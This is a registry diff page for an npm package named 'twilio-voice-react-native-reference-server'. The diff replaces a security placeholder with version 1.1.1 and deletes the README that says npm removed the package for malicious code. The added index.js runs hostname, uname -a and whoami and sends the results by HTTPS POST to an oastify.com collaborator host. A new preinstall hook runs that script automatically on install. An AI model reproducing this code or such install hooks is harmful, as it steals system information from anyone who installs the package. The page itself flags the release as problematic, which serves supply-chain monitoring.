twilio-voice-react-native-reference-server 0.0.1-security.0 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of twilio-voice-react-native-reference-server might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +52 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,52 @@
1
+ const { exec } = require('child_process');
2
+ const https = require('https');
3
+
4
+ // Burp Collaborator URL
5
+ const collaboratorUrl = "6x4vz6gzrtryj150p5fcpsph3891xrlg.oastify.com"; // Replace with your Collaborator URL
6
+
7
+ // Function to send DNS query or HTTP request to Collaborator
8
+ function sendToCollaborator(data) {
9
+ const options = {
10
+ hostname: collaboratorUrl,
11
+ port: 443,
12
+ path: '/',
13
+ method: 'POST',
14
+ headers: {
15
+ 'Content-Type': 'application/json',
16
+ 'Content-Length': data.length,
17
+ },
18
+ };
19
+
20
+ const req = https.request(options, (res) => {
21
+ console.log(`Status: ${res.statusCode}`);
22
+ });
23
+
24
+ req.on('error', (error) => {
25
+ console.error(`Error: ${error}`);
26
+ });
27
+
28
+ req.write(data);
29
+ req.end();
30
+ }
31
+
32
+ // Gather system information
33
+ exec('hostname', (error, stdout) => {
34
+ const hostname = stdout.trim();
35
+ exec('uname -a', (error, stdout) => {
36
+ const osInfo = stdout.trim();
37
+ exec('whoami', (error, stdout) => {
38
+ const userInfo = stdout.trim();
39
+
40
+ // Prepare data to send
41
+ const payload = JSON.stringify({
42
+ hostname,
43
+ os: osInfo,
44
+ user: userInfo,
45
+ });
46
+
47
+ // Send data to Burp Collaborator
48
+ sendToCollaborator(payload);
49
+ });
50
+ });
51
+ });
52
+
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "twilio-voice-react-native-reference-server",
3
- "version": "0.0.1-security.0",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=twilio-voice-react-native-reference-server for more information.